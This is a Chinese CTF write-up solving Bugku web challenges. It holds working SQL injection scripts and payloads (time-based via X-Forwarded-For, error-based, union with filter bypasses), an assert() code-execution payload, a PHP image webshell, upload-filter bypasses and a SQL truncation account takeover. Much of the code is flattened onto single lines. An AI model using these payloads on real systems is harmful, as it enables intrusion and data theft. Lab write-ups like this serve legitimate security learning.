bugku——web 做题记录
Table of Contents
2,秋名山車神:
3,速度要快
?
4 welcome to the bugkuctf
1,login1(sql約束攻擊)
sql約束攻擊:
2,過(guò)狗一句話
3,細(xì)心
4,求getshell
5,INSERT INFO (sql注入? ?之? ?X - F -F 頭注入)
6,這是一個(gè)神奇的登陸框
7 多數(shù)(sql 注入)
8,PHP_encrypt_1(ISCCCTF)(代碼審計(jì))
9, 文件上傳2
10,flag.php(反序列化)
11,sql 注入 2()
12,?Trim的日記本
13,login3(過(guò)濾了 空格、=、union、逗號(hào)、and、where等字符的 布爾型盲注)
2,秋名山車神:
?
import requests import re ?? ??? ?#這個(gè)庫(kù)一般用來(lái)匹配文字url = 'http://123.206.87.240:8002/qiumingshan/'?#url r = requests.session()??#requests.sesssion()對(duì)象可以跨請(qǐng)求的保存某些參數(shù) g = r.get(url)??#產(chǎn)生一個(gè)請(qǐng)求資源的對(duì)象,get方法 ans = re.findall('<div>(.*?)=?;</div>',g.text) #使用re庫(kù)中的findall方法,匹配正則。第一個(gè)參數(shù)是要匹配的正則表達(dá)式, # 第二個(gè)參數(shù)是將我們請(qǐng)求到的資源變成字符串的形式,再以列表的形式返回到變量ans中 ans = "".join(ans) #將ans從列表的形式轉(zhuǎn)化為字符串的形式 ans = ans[:-2] #去掉ans最后的兩個(gè)字符,這里即去掉=? post = eval(ans)?#執(zhí)行我們處理完的字符串,即那個(gè)變態(tài)的表達(dá)式 data = {'value':post} #構(gòu)造data的post部分 flag = r.post(url,data=data) #生成post請(qǐng)求,post的值是算出來(lái)的結(jié)果 print(flag.text) #打印返回的數(shù)據(jù)即flag值
3,速度要快
import requests
import base64
url='http://123.206.87.240:8002/web6/'
r = requests.session()
headers = r.get(url).headers #這三句是為了讓我們能跟網(wǎng)站關(guān)聯(lián)起來(lái),可以向網(wǎng)站拿數(shù)據(jù)和發(fā)送數(shù)據(jù)mid = base64.b64decode(headers['flag'])
mid = mid.decode()
print(mid)
#burp suite 回顯的包的headers中發(fā)現(xiàn)了flag:...... base64解碼flag = base64.b64decode(mid.split(':')[1])#獲得flag:后的值 并再次解碼
print(flag)data={'margin':flag}
print(r.post(url,data).text) #發(fā)送margin 并輸出回顯信息
?
4 welcome to the bugkuctf
1.通過(guò)php://input對(duì)變量輸入內(nèi)容,讓file_get_contents能夠讀取變量的內(nèi)容
2.通過(guò)php://filter/read=convert.base64-encode/resource=xxx.php得到其他PHP文件的源代碼
3.通過(guò)反序列化,對(duì)echo的魔術(shù)方法__tostring()里面的參數(shù)進(jìn)行賦值
?
首先點(diǎn)入鏈接,查看源代碼:
發(fā)現(xiàn)這里是 txt 給user賦值,讀取user的文件,且文件內(nèi)容是“welcome to the bugkuctf”時(shí),就會(huì)包含一個(gè)文件,我們可以利用這個(gè)文件包含的漏洞,去讀取我們想要的文件,
利用file=php://filter/read=convert.base64-encode/resource=xxx.php (這里必須要先編碼,不然讀到的代碼會(huì)被網(wǎng)頁(yè)執(zhí)行)
當(dāng)然我們的第一反應(yīng)肯定是去讀flag.php:發(fā)現(xiàn)不行
然后嘗試去讀其他文件,比如hint.php 和 index.php
經(jīng)過(guò)base64解碼后得到:
#hint.php <?php class Flag{//flag.php public $file; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>";return ("good");} } } ?> #index.php <?php $txt = $_GET["txt"]; $file = $_GET["file"]; $password = $_GET["password"]; if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){ echo "hello friend!<br>"; if(preg_match("/flag/",$file)){ echo "不能現(xiàn)在就給你flag哦";exit(); }else{ include($file); $password = unserialize($password); echo $password; } }else{ echo "you are not the number of bugku ! "; } ?> <!-- $user = $_GET["txt"]; $file = $_GET["file"]; $pass = $_GET["password"]; if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){ echo "hello admin!<br>"; include($file); //hint.php }else{ echo "you are not admin ! "; } -->讀index.php 發(fā)現(xiàn)file變量的內(nèi)容中不允許有flag,否則直接輸出并退出;
發(fā)現(xiàn)index.php中還有反序列化的內(nèi)容,并且輸出了字符串(輸出字符串時(shí)會(huì)自動(dòng)調(diào)用_toString()魔術(shù)方法)
于是想到構(gòu)造序列化的字符串,使在調(diào)用魔術(shù)方法時(shí)能讀取并輸出 flag.php 文件
?
并通過(guò)bp 去獲取flag://flag{php_is_the_best_language} ?1
1,login1(sql約束攻擊)
sql約束攻擊:
1、sql處理字符串時(shí),一般是在比較字符串時(shí),會(huì)自動(dòng)刪去末尾多余的空格,這是因?yàn)?#xff0c;SQL會(huì)在內(nèi)部使用空格來(lái)填充字符串,以便在比較之前使其它們的長(zhǎng)度保持一致。這一點(diǎn),對(duì)于where和insert語(yǔ)句是成立的,對(duì)于like語(yǔ)句無(wú)效。
也就是說(shuō),"admin"和"admin? ? ? ? ? ? ?"是等效的。因此,用where id="admin"查詢和用where id="admin? ? ? ? ? "查詢的結(jié)果相同。
2、SQL中varchar(n)用于限制最大長(zhǎng)度,若字符串長(zhǎng)度大于n,則只截取前n個(gè)字符。如果用varchar(5)限制了insert查詢的最大長(zhǎng)度,則插入
"admin"和"admin? ? ? ? ? ? ?“,最終都會(huì)得到"admin”,因此查詢"admin "得到的結(jié)果是"admin"的信息。
3,可以自己測(cè)試一下,注冊(cè)"admin? ? "(admin和4個(gè)空格)varchar(15),因?yàn)?#34;admin" 與"admin? ? "的長(zhǎng)度不同,會(huì)成功存入數(shù)據(jù)庫(kù)中,打開(kāi)PHPadmin? ? 查看一下,的確有 "admin? ? "這個(gè)新注冊(cè)的用戶,然后修改用戶 "admin? ? ?"的密碼為 123123,會(huì)發(fā)現(xiàn)是原來(lái)的"admin"用戶的密碼被修改為 123123
因此,
可以利用這個(gè)漏洞來(lái)繞過(guò),方法:若注冊(cè)時(shí)已知admin這個(gè)用戶名存在,則我們可以注冊(cè)admin(空格空格空格…)這個(gè)用戶名,密碼自定,然后登錄時(shí)用剛剛注冊(cè)的用戶名和密碼即可得到真實(shí)的想要的admin信息或權(quán)限。
2,過(guò)狗一句話
1,根據(jù)提示:
?
explode()是將字符串分割為數(shù)組
化簡(jiǎn)后就是:
assert($_GET['s'])//assert()會(huì)將執(zhí)行內(nèi)部的字符串 ,有漏洞在地址欄中構(gòu)造payload:
http://123.206.87.240:8010/?s=print_r(scandir(%27./%27))去瀏覽目錄:
得到的信息:
Array ( [0] => . [1] => .. [2] => 666.php [3] => 777.php [4] => a.php [5] => aa.php [6] => asd.php [7] => b.php [8] => flag_aaa.txt [9] => flag_sm1skla1.txt [10] => index.php [11] => newfile.txt [12] => readme.txt [13] => sy.php [14] => sy1.php [15] => sy2.php [16] => t1.php [17] => test.php [18] => test.txt [19] => testfile.txt [20] => webshell.php )
打開(kāi) 得到flag:
flag: BUGKU{bugku_web_009801_a}
3,細(xì)心
打開(kāi):提示讓用admin
先用御劍掃描一下后臺(tái)窗口:
發(fā)現(xiàn)有有一個(gè) robotx.txt協(xié)議
打開(kāi)協(xié)議:
進(jìn)入 resusl.php
接著傳參 ?x=admin
得到:flag(ctf_0098_lkji-s)
4,求getshell
上傳題:
一共三個(gè)過(guò)濾
請(qǐng)求頭部的 Content-Type
文件后綴
請(qǐng)求數(shù)據(jù)的Content-Type
這里是黑名單過(guò)濾來(lái)判斷文件后綴,依次嘗試php4,phtml,phtm,phps,php5(包括一些字母改變大小寫)
最終發(fā)現(xiàn),php5可以繞過(guò)
接下來(lái),請(qǐng)求數(shù)據(jù)的Content-Type字段改為 image/jpeg
但是一開(kāi)始沒(méi)注意到,上面還有一個(gè)請(qǐng)求頭Content-Type字段,大小寫繞過(guò): MuLtipart/form-data;
KEY{bb35dc123820e}
5,INSERT INFO (sql注入? ?之? ?X - F -F 頭注入)
提上給的代碼:
<?php error_reporting(0); function getIp(){$ip = '';if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];}else{$ip = $_SERVER['REMOTE_ADDR'];}$ip_arr = explode(',', $ip);return $ip_arr[0]; } $host="localhost"; $user=""; $pass=""; $db=""; $connect = mysql_connect($host, $user, $pass) or die("Unable to connect"); mysql_select_db($db) or die("Unable to select database"); $ip = getIp(); echo 'your ip is :'.$ip; $sql="insert into client_ip (ip) values ('$ip')"; mysql_query($sql); ?>大致意思就是將獲取的 XFF頭的ip 地址 插入了數(shù)據(jù)控中 這里存在了一個(gè)注入點(diǎn), 因?yàn)闆](méi)有對(duì) XFF頭的信息進(jìn)行過(guò)濾
用burp-suit進(jìn)行手工注入是不可能的,這輩子都不會(huì)用 手工進(jìn)行 延時(shí)注入的
直接上py腳本
首先獲取數(shù)據(jù)庫(kù)名 + 表名
import requestschar= '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUZWXYZ_@.%&-' url = 'http://123.206.87.240:8002/web15/'payload_db_len = "1'+(select case when (length(database())='{0}') then sleep(6) else 1 end)+'1" #猜解數(shù)據(jù)庫(kù)名稱的payload payload_db = "1'+(select case when (substr(database() from {0} for 1)='{1}') then sleep(6) else 1 end)+'1" #猜解表數(shù)量的payload payload_tb_num = "1'+(select case when (select count(*) from information_schema.TABLES where TABLE_SCHEMA='{0}')='{1}' then sleep(6) else 1 end)+'1" #猜解表名字長(zhǎng)度的payload payload_tb_name_len = "1'+(select case when (select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA='{0}' limit 1 offset {1}) = '{2}' then sleep(6) else 1 end)+'1" #猜解表名字的payload payload_tb_name = "1'+(select case when (substr((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='{0}' limit 1 offset {1}) from {2} for 1)) = '{3}' then sleep(6) else 1 end)+'1"db_length = 0 def get_db_length():#數(shù)據(jù)庫(kù)名長(zhǎng)度global db_lengthfor n in range(1,40):try:headers = {'x-forwarded-for': payload_db_len.format(n)}res = requests.get(url, headers=headers, timeout=5)except requests.exceptions.ReadTimeout:db_length = nbreakprint("db_length:"+ str(db_length))db_name = '' def get_db_name(): # 數(shù)據(jù)庫(kù)名破解global db_namefor i in range(1, db_length +1):for j in char:try:headers = {'x-forwarded-for': payload_db.format(i,j)}res = requests.get(url, headers=headers, timeout=5)except requests.exceptions.ReadTimeout:# print(payload_db.format(i,j))db_name += jbreakprint('db_name: ' + db_name)table_num = 0 def get_data_num():#獲取表的數(shù)量global table_numfor i in range(1, 50):try:headers = {'x-forwarded-for': payload_tb_num.format(db_name, str(i))}res = requests.get(url, headers=headers, timeout=5)except requests.exceptions.ReadTimeout:table_num = iprint('table_num: ' + str(i))breakdef get_table_name():len = 0for i in range(table_num):for j in range(50):try:headers = {'x-forwarded-for': payload_tb_name_len.format(db_name, i, j)}res = requests.get(url, headers=headers, timeout=5)except requests.exceptions.ReadTimeout:len = jbreakprint("No." + str(i + 1) + " table's length is: " + str(len))table_name = ''for k in range(1, len + 1):for j in char:try:headers = {'x-forwarded-for': payload_tb_name.format(db_name, i, k, j)}res = requests.get(url, headers=headers, timeout=5)except requests.exceptions.ReadTimeout:# print(payload_tb_name.format(db_name,i,k,j))table_name += jbreakprint(table_name)get_db_length() get_db_name() get_data_num() get_table_name()字段名:
import requestsdic='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUZWXYZ_-+=@%^&.' url = 'http://123.206.87.240:8002/web15/'target_db = 'web15' target_tb = 'flag'payload_col_num = "1'+(select case when (select count(*) from information_schema.COLUMNS where TABLE_SCHEMA='{0}' and TABLE_NAME='{1}') = '{2}' then sleep(6) else 1 end)+'1" payload_col_len = "1'+(select case when (select length(COLUMN_NAME) from information_schema.COLUMNS where TABLE_SCHEMA='{0}' and TABLE_NAME='{1}' limit 1 offset {2}) = '{3}' then sleep(6) else 1 end)+'1" payload_col_name = "1'+(select case when (substr((select COLUMN_NAME from information_schema.COLUMNS where TABLE_SCHEMA='{0}' and TABLE_NAME='{1}' limit 1 offset {2}) from {3} for 1)) = '{4}' then sleep(6) else 1 end)+'1"col_num = 0 def get_col_num():global col_numfor i in range(50):try:headers = {'x-forwarded-for': payload_col_num.format(target_db, target_tb, i)}res = requests.get(url, headers=headers, timeout=5)except requests.exceptions.ReadTimeout:col_num = ibreakprint('col_num = ' + str(col_num))def get_col_name():len = 0for i in range(col_num):for j in range(50):try:headers = {'x-forwarded-for': payload_col_len.format(target_db, target_tb, i, j)}res = requests.get(url, headers=headers, timeout=5)except requests.exceptions.ReadTimeout:len = jprint("No." + str(i + 1) + "column's length : " + str(len))breakcol_name = ''for k in range(1, len + 1):for j in dic:try:headers = {'x-forwarded-for': payload_col_name.format(target_db, target_tb, i, k, j)}res = requests.get(url, headers=headers, timeout=5)except requests.exceptions.ReadTimeout:col_name += jprint(col_name)breakget_col_num() get_col_name()脫庫(kù):
import requestsdic='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUZWXYZ_' url = "http://123.206.87.240:8002/web15/"paylaod_content = "1'+(select case when (substr((select flag from flag) from {0} for 1)) = '{1}' then sleep(6) else 1 end)+'1" flag = '' def get_flag():global flagfor i in range(1, 100):for j in dic:try:headers = {'x-forwarded-for': paylaod_content.format(i, j)}res = requests.get(url, headers=headers, timeout=5)except requests.exceptions.ReadTimeout:#print(paylaod_content.format(i, j))flag += jbreakprint("....: "+flag)get_flag() print(flag)6,這是一個(gè)神奇的登陸框
打開(kāi)是一個(gè)登錄框 ,一看就知道是在考察? sql 注入 的相關(guān)知識(shí)? ok
第一步 : 找 username 的 閉合方式,輸入 1"? 發(fā)現(xiàn)竟然可以報(bào)錯(cuò)? ,那這就簡(jiǎn)單了好多啊
確定是? 雙引號(hào) 的閉合
第二步爆信息
爆庫(kù)名:
1" and 1=extractvalue(1,concat(0x7e,(database()))) #爆出: 數(shù)據(jù)庫(kù)名:bugkusql1
爆表名:
1" and 1=extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema = database()))) #爆字段:
1" and 1=extractvalue(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name = 'flag1'))) #脫庫(kù):
?
這里提交flag后發(fā)現(xiàn)是錯(cuò)誤的 !!!!!看一下 是31位 的字符串? 似乎是少了一位
傲傲? 我知道了報(bào)錯(cuò)注入? 的 extractvalue() 函數(shù)? 和 updatexml() 函數(shù)的回顯位 最多為 32 位
那換 用 聯(lián)合查詢 :
換用聯(lián)合查詢需要先 確定 回顯位?
先用 1"?order by 3 #? ?發(fā)現(xiàn)? 錯(cuò)誤
再用??1"?order by 2?#? 正常
用?1"? union select? 3,4 #? ?發(fā)現(xiàn)回顯的是? ?3? ? ok那就在? 3 的位置進(jìn)行注入
直接跳到脫庫(kù)吧:
?
-1" union select group_concat(flag1),2 from flag1 #得到flag:
flag{ed6b28e684817d9efcaf802979e57aea}
?
看來(lái)還是要少用報(bào)錯(cuò)注入啊
?
7 多數(shù)(sql 注入)
提示有兩個(gè)? flag (這點(diǎn)很重要)而且都是小寫
打開(kāi)鏈接 發(fā)現(xiàn)是一個(gè) 典型的 GET 型 sql注入 題
第一步:先測(cè) 閉合方式? :
當(dāng)注入? 單引號(hào)時(shí)? ?會(huì)出現(xiàn)? Error!Error!Error!
?加? 注釋符 --+? 后? 回顯正常
可知道 閉合方式 是 單引號(hào)? 而且 不會(huì)報(bào)錯(cuò),這里不能用報(bào)錯(cuò)注入
第二步: 測(cè)有幾個(gè)回顯字段
?id=1'order by 2 --+發(fā)現(xiàn)無(wú)論怎么改變 后面的數(shù)字? 都 是?? Error! Error! Error!
考慮可能是 把關(guān)鍵字過(guò)濾了? 猜測(cè)可能 把? or? ?and? union select 等關(guān)鍵字過(guò)濾了
注入:
?id=1' oorrder by 2 --+ //正常?id=1' oorrder by 3 --+ //Error!證實(shí)了我的想法? or? 被過(guò)濾 了? ? 這里使用? 雙寫的方法繞過(guò) 過(guò)濾
后面? 其他被過(guò)濾的 關(guān)鍵字我就不一一說(shuō)明 證明方法了
?id=-1' uniounionn selecselectt 1,3--+ // 回顯的 是 3得出有兩個(gè)回顯字段? 并且 回顯位為第二個(gè) 位置
第三步: 報(bào)信息
// 爆庫(kù)名?id=-1' uniounionn selecselectt 1,database()--+得到庫(kù)名 :web1002-1// 爆表?id=-1' uniounionn selecselectt 1,group_concat(table_name)from infoorrmation_schema.tables where table_schema = database()--+得到表名:flag1,hint//爆字段?id=-1' uniounionn selecselectt 1,group_concat(column_name)from infoorrmation_schema.columns where table_name= 'flag1'--+得到字段:flag1,address//脫庫(kù)?id=-1' uniounionn selecselectt 1,group_concat(flag1)from flag1 --+得到信息: usOwycTju+FTUUzXosjr轉(zhuǎn)化成全小寫后 得到?flag{usowyctju+ftuuzxosjr}? ?提交發(fā)現(xiàn) 不對(duì)?
嘗試 爆第二個(gè)字段:
?id=-1' uniounionn selecselectt 1,group_concat(address)from flag1 --+得到:
進(jìn)去發(fā)現(xiàn) 有又一道 sql 注入題
第一步: 確定閉合方式??
注入? 單引號(hào)時(shí)? 有報(bào)錯(cuò)信息 顯示? 雙引號(hào)時(shí) 正常? ?說(shuō)明 是? 單引號(hào) 閉合? ?
有報(bào)錯(cuò)信息 那就可以用? ?報(bào)錯(cuò)注入了
第二步 : 爆信息 (用報(bào)錯(cuò)注入的話就 不用在確定回顯位等等那么麻煩了 , 直接爆信息就行)
// 爆庫(kù)名?id=1' and 1= extractvalue(1,concat(0x7e,(database()))) --+庫(kù)名:web1002-2// 爆表?id=1'%20 and 1= extractvalue(1,concat(0x7e,(select%20 group_concat(table_name)from information_schema.tables where table_schema = database()))) --+得到表名:class,flag2// 爆字段 ?id=1'%20 and 1= extractvalue(1,concat(0x7e,(select%20 group_concat(column_name)from information_schema.columns where table_name='flag2'))) --+得到字段:flag2,address// 脫庫(kù) ?id=1'%20 and 1= extractvalue(1,concat(0x7e,(select%20 group_concat(flag2)from flag2))) --+得到:flag{Bugku-sql_6s-2i-4t-bug}?
將得到的flag 轉(zhuǎn)換成 小寫得到??flag{bugku-sql_6s-2i-4t-bug}
注入結(jié)束!(這題好像 把 union 關(guān)鍵字過(guò)濾了)
補(bǔ)充一點(diǎn) : 這題不能用 盲注 進(jìn)行操作,因?yàn)樗?sleep? ?和 substr? 和 union 關(guān)鍵字被過(guò)濾了
總結(jié) : 判斷某關(guān)鍵字是否被過(guò)濾的方法:
用 異或符 ^ 進(jìn)行判斷
比如:?
?id=1'^(length('union')>0)--+ // 回顯正常 說(shuō)明 union 被過(guò)濾了 ?id=1'^(length('xss')>0)--+ // 回顯錯(cuò)誤 說(shuō)明 xss 沒(méi)有被過(guò)濾8,PHP_encrypt_1(ISCCCTF)(代碼審計(jì))
首先發(fā)現(xiàn)一段密文: base64解密一下 沒(méi)解出東西
fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=
打開(kāi)文件是個(gè)php 的加密函數(shù):
<?php function encrypt($data,$key) {$key = md5('ISCC');$x = 0;$len = strlen($data);$klen = strlen($key);for ($i=0; $i < $len; $i++) { if ($x == $klen){$x = 0;}$char .= $key[$x];$x+=1;}for ($i=0; $i < $len; $i++) {$str .= chr((ord($data[$i]) + ord($char[$i])) % 128);}return base64_encode($str); }?>看來(lái)給出的密文應(yīng)該是 經(jīng)過(guò)這個(gè) 函數(shù)加密后得到的??
那 就需要 寫一個(gè) 解密函數(shù)? 把密文解密 應(yīng)該就可以得到flag? 了
直接去找了兩個(gè) 代碼:
Python 腳本:
import base64 import hashlibdef decrypt(b64):b64 = str(base64.b64decode(b64), encoding='utf8') # base64轉(zhuǎn)換后是byte類型數(shù)據(jù)key = 'ISCC'm = hashlib.md5()m.update(key.encode())md = m.hexdigest()b64_len = len(b64)x = 0char = ''for i in range(b64_len): # strlen($str)==strlen($char)==strlen($data)if x == len(md):x = 0char += md[x]x += 1data = ''for i in range(b64_len): # 也可不進(jìn)行正負(fù)判斷:data += chr((ord(b64[i]) - ord(char[i])+128) % 128)d = ord(b64[i]) - ord(char[i])if d > 0: # 進(jìn)行判斷,如果相減小于0,說(shuō)明需要加上128data += chr(d)else:data += chr(d + 128)print(data)if __name__ == "__main__":b64 = 'fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA='decrypt(b64)?
php腳本:
<?php function decrypt($str) {$mkey = "729623334f0aa2784a1599fd374c120d";$klen = strlen($mkey);$tmp = $str;$tmp = base64_decode($tmp); // 對(duì) base64 后的字符串 decode$md_len = strlen($tmp); //獲取字符串長(zhǎng)度$x = 0;$char = "";for($i=0;$i < $md_len;$i++) { // 取二次加密用 key;if ($x == $klen) // 數(shù)據(jù)長(zhǎng)度是否超過(guò) key 長(zhǎng)度檢測(cè)$x = 0;$char .= $mkey[$x]; // 從 key 中取二次加密用 key$x+=1;}$md_data = array();for($i=0;$i<$md_len;$i++) { // 取偏移后密文數(shù)據(jù)array_push($md_data, ord($tmp[$i]));}$md_data_source = array();$data1 = "";$data2 = "";foreach ($md_data as $key => $value) { // 對(duì)偏移后的密文數(shù)據(jù)進(jìn)行還原$i = $key;if($i >= strlen($mkey)) {$i = $i - strlen($mkey);}$dd = $value;$od = ord($mkey[$i]);array_push($md_data_source,$dd);$data1 .= chr(($dd+128)-$od); // 第一種可能, 余數(shù)+128-key 為回歸數(shù)$data2 .= chr($dd-$od); // 第二種可能, 余數(shù)直接-key 為回歸數(shù)}print "data1 => ".$data1."<br>\n";print "data2 => ".$data2."<br>\n"; } $str = "fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA="; decrypt($str); ?>?
跑出來(lái)的 flag:
Flag:{asdqwdfasfdawfefqwdqwdadwqadawd}
?
9, 文件上傳2
?
查看源代碼? 一段JavaScript的event:大致意思按 b 就會(huì)重新定向到新的頁(yè)面 然后試了一下 發(fā)現(xiàn)是假的
發(fā)現(xiàn)注釋有給提示 :
訪問(wèn)一下 upload.php
http://123.206.31.85:49166/index.php?file=upload.php出現(xiàn)一個(gè)上傳頁(yè)面:
那就利用這個(gè)上傳,構(gòu)造一個(gè) 圖片馬? 來(lái)獲取系統(tǒng)文件 的目錄 從而得到 flag所在文件的文件名
構(gòu)造一個(gè)圖片馬 :
構(gòu)造payload:
<script language=php>system("1")</script>找一個(gè)小一點(diǎn)的圖片 用 winhex 打開(kāi)? 把payload 插入到 最后 然后保存? ? ?上傳
上傳 后:
然后訪問(wèn) 這個(gè)文件(如果payload還在 圖片中的話 這段代碼會(huì)被瀏覽器解析 執(zhí)行? 從而顯示系統(tǒng)目錄)、
http://123.206.31.85:49166/index.php?file=upload/20190818454656.jpg發(fā)現(xiàn)圖片被重新渲染了? 插入的代碼不見(jiàn)了
那我們就把代碼插入到不會(huì)重新渲染的部分:(一般在文件頭偏后一點(diǎn)的位置)
然后重新上傳 訪問(wèn) 后 正常解析:
得到了系統(tǒng)目錄?
然后訪問(wèn) flag 文件
http://123.206.31.85:49166/index.php?file=this_is_th3_F14g_154f65sd4g35f4d6f43.txt然后得到 flag:
?
SKCTF{uP104D_1nclud3_426fh8_is_Fun}
?
10,flag.php(反序列化)
打開(kāi)題目入口時(shí)有提示:
進(jìn)入是一個(gè)登陸表單 ,我還以為是一個(gè) sql注入題呢,然后輸入 admin admin 后點(diǎn) login 不管用??
打開(kāi) 源代碼 沒(méi)發(fā)現(xiàn)什么異常? 就是 沒(méi)有跳轉(zhuǎn)的頁(yè)面而已
這時(shí)候想到提示? 的? hint? 既然post 不行 就試一試? get
在 url 中 注入:
?hint=1出現(xiàn)了 后臺(tái)的源代碼:
大致意思是說(shuō):
第一句話的意思 是? 得到? 用戶名 為 ISecer 的cookie
如果 通過(guò) get 傳入了 參數(shù) hint 的話? 就輸出 后臺(tái) 的源代碼
否則 如果 cookie 的反序列化的 值? 等于? $KEY? 的話 就輸出 flag?
?
看到 最后一句話的時(shí)候 我沒(méi)加思索的 就認(rèn)為 $KEY 的值? 就是?'ISecer:www.isecer.com'
后來(lái)提交后沒(méi)出來(lái) flag 時(shí) ,回過(guò)頭來(lái)仔細(xì)看 才發(fā)現(xiàn) 這里 $KEY 是 最后賦值的 跟前面一毛錢關(guān)系也沒(méi)有
也就是說(shuō)? 前面的? $KEY = NULL
既然要提交Cookie 那我們就 用? burp suite 提交構(gòu)造的 Cookie唄
構(gòu)造Cookie :
這里需要考慮到反序列化的問(wèn)題 ,所以構(gòu)造 :
Cookie: ISecer=s:0:""%3B// %3B 是 ; 的意思得到flag:
?
flag{unserialize_by_virink}
?
11,sql 注入 2()
方法一:正常的注入手段解決
入口處提示 過(guò)濾了 部分字符:
到底過(guò)濾了哪些字符呢?? 搞了個(gè) 關(guān)鍵字符 的字典 在 burp-suite 中 搞一下:
不過(guò) 發(fā)現(xiàn)異或符號(hào) ^ 和 -? 沒(méi)有被過(guò)濾!!!這點(diǎn) 非常重要
嘗試注入:uname=admin'^'? ? ? ?回顯password error
嘗試注入:uname=admin'^1^'? ? ?回顯 username error
這里 就可以的得出一個(gè)結(jié)論? : 如果中間 的 部分是正確的? 即為 1? 的話? 就會(huì)回顯 username error?
利用這一點(diǎn)我們就可以 使用腳本進(jìn)行注入了:
由于 逗號(hào)? 和 空格 都被過(guò)濾了? 所以 substr()函數(shù)就不能用了?
需要找一個(gè)替代方案:mid()
mid()函數(shù)的特性:
mid("password"from(-1)) 返回 dmid("password"from(-3)) 返回 ord我們?cè)倮靡粋€(gè) reverse() 函數(shù) 將字符串翻轉(zhuǎn)??
然后再利用 mid()? 函數(shù) 截取最后一個(gè) 字符? ?就能 實(shí)現(xiàn)? substr(string,start,1)的功能了
mid("12345"from(-3)) // 345reverse(mid("12345"from(-3))) //543mid(reverse(mid("12345"from(-3)))from(-1)) // 3?
然后我們 就可以寫腳本注入了: 此時(shí)我們可以選擇
1,? 按照常規(guī)的注入 方式? ?從數(shù)據(jù)庫(kù)名 一步一步得到 flag (太麻煩了也)
2.,選擇 注入? 存儲(chǔ) 用戶信息的表? ?去 得到??username 和password? ? 登錄后就會(huì)拿到 flag
(第二種比較簡(jiǎn)單 ,因?yàn)槲覀円呀?jīng)知道一個(gè)用戶名? admin 了 ,只需要去 得到password 就可以了)
?
?上腳本:
# -*-coding:utf-8-*- # author : wen # flag:wen{b7bb30b3435f2e7c418b131f9e789f81}import requestsurl = 'http://123.206.87.240:8007/web2/login.php' char = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.{}'flag = ''for i in range(1, 40):for p in range(32, 126):# url = base_url + u"1' and substr((select flag from flag),%d,1)='%s' --+" %(i,p)payload = u"admin'-(ascii(mid(REVERSE(MID((passwd)from(-%d)))from(-1)))=%d)-'" % (i, p)data = {'uname': payload,'passwd': '123456'}html = requests.post(url, data=data).textif 'username' in html:print(i)flag += chr(p)print(flag) print("=================================>")print("\n" + flag)看完這個(gè)腳本是不是和我一樣有很多 疑問(wèn)?
1, 這里的? 字段 passwd? 是哪里來(lái)的?? ? 看網(wǎng)頁(yè)源碼 看到表單中? 用的 passwd ,就猜測(cè)數(shù)據(jù)庫(kù)中 也用的 passwd?
(或者你就直接在腳本里試? password? 、passwd、pwd)
2,為什么沒(méi)有 用常規(guī)的? select 語(yǔ)句去 查詢 passwd? ? 因?yàn)檫@用 用的是異或 語(yǔ)句?
異或語(yǔ)句 的 返回值 只能是 1? 或 0? ? ?異或語(yǔ)句前面再加一個(gè) where 時(shí) 情況就變得不太一樣,具體請(qǐng)看下面的例子:
?
正常的查詢語(yǔ)句:select * from xxx where username=‘xxxx’;
再試一下:select *from users where username=0? ??
這里幾乎輸出了 所有的信息? (username = 123Mikasa 的沒(méi)有輸出) 因?yàn)檫@里就行查詢 對(duì)比 時(shí)? 字符串會(huì)被強(qiáng)制轉(zhuǎn)換為? 和 0 一樣的 類型? ,而?123Mikasa? 轉(zhuǎn)換為int 時(shí)? 為? 123 ,所以沒(méi)有輸出
?
而我們用 的 異或語(yǔ)句? ?返回值? 就是布爾型的? ? ?在 后臺(tái)程序進(jìn)行查詢比對(duì)信息時(shí)就構(gòu)成了:
select *from users where uname=0,passed=123,所以 uname 為 純 字符的都會(huì)被查詢??
?
得到 一個(gè) 32位的字符串 32位那肯定是 md5 了 解密 得到 :admin123
uname :? admin
passwd: admin123
登錄后:看到這個(gè)界面? 隨便輸了字符 就得到flag:
flag{sql_iNJEct_comMon3600!}
?
?
方法 二:用 DS_Store 源碼泄露?
用 御劍 跑了一下 沒(méi)有 發(fā)現(xiàn)什么
只好用 Python 腳本來(lái)跑:(這個(gè)腳本其實(shí)和御劍后臺(tái)掃描差不多)
DS_Store下載地址:https://github.com/lijiejie/ds_store_exp?
(我的電腦同時(shí)裝了 Python 2? 和? Python 3? ,并都配置了相關(guān)的路徑? ,所以 我在跑代碼是 前面 必須加 python2? 或者 python3 ,)
進(jìn)入:http://123.206.87.240:8007/web2/flag 后會(huì)自動(dòng)下載一個(gè) flag 文件? ?用記事本打開(kāi) 就能看到flag
?
12,?Trim的日記本
打開(kāi) login 界面 和 register 界面? 都顯示? ?mysql connect error? 查看源碼也沒(méi)發(fā)現(xiàn)什么 異常
只好先打開(kāi)御劍 掃描一下 了
結(jié)構(gòu)掃面出來(lái)一個(gè)? show.php? 打開(kāi);
這個(gè)flag? 咱也不知道 是真是假 這 200 分的題這么容易就給了flag??
不管了 提交一下試一試? 直接復(fù)制提交? ? ?過(guò)了 。。。。。。what? ? 果然大佬? 都是怪獸 !!!!
flag1:{0/m9o9PDtcSyu7Tt}? ? ?直接提交
?
13,login3(過(guò)濾了 空格、=、union、逗號(hào)、and、where等字符的 布爾型盲注)
首先 試一下? admin 和 admin? 提示 password error!(這里知道用戶名 admin是存在的)
這里知道了用戶名 admin,那用萬(wàn)能密碼試一下唄
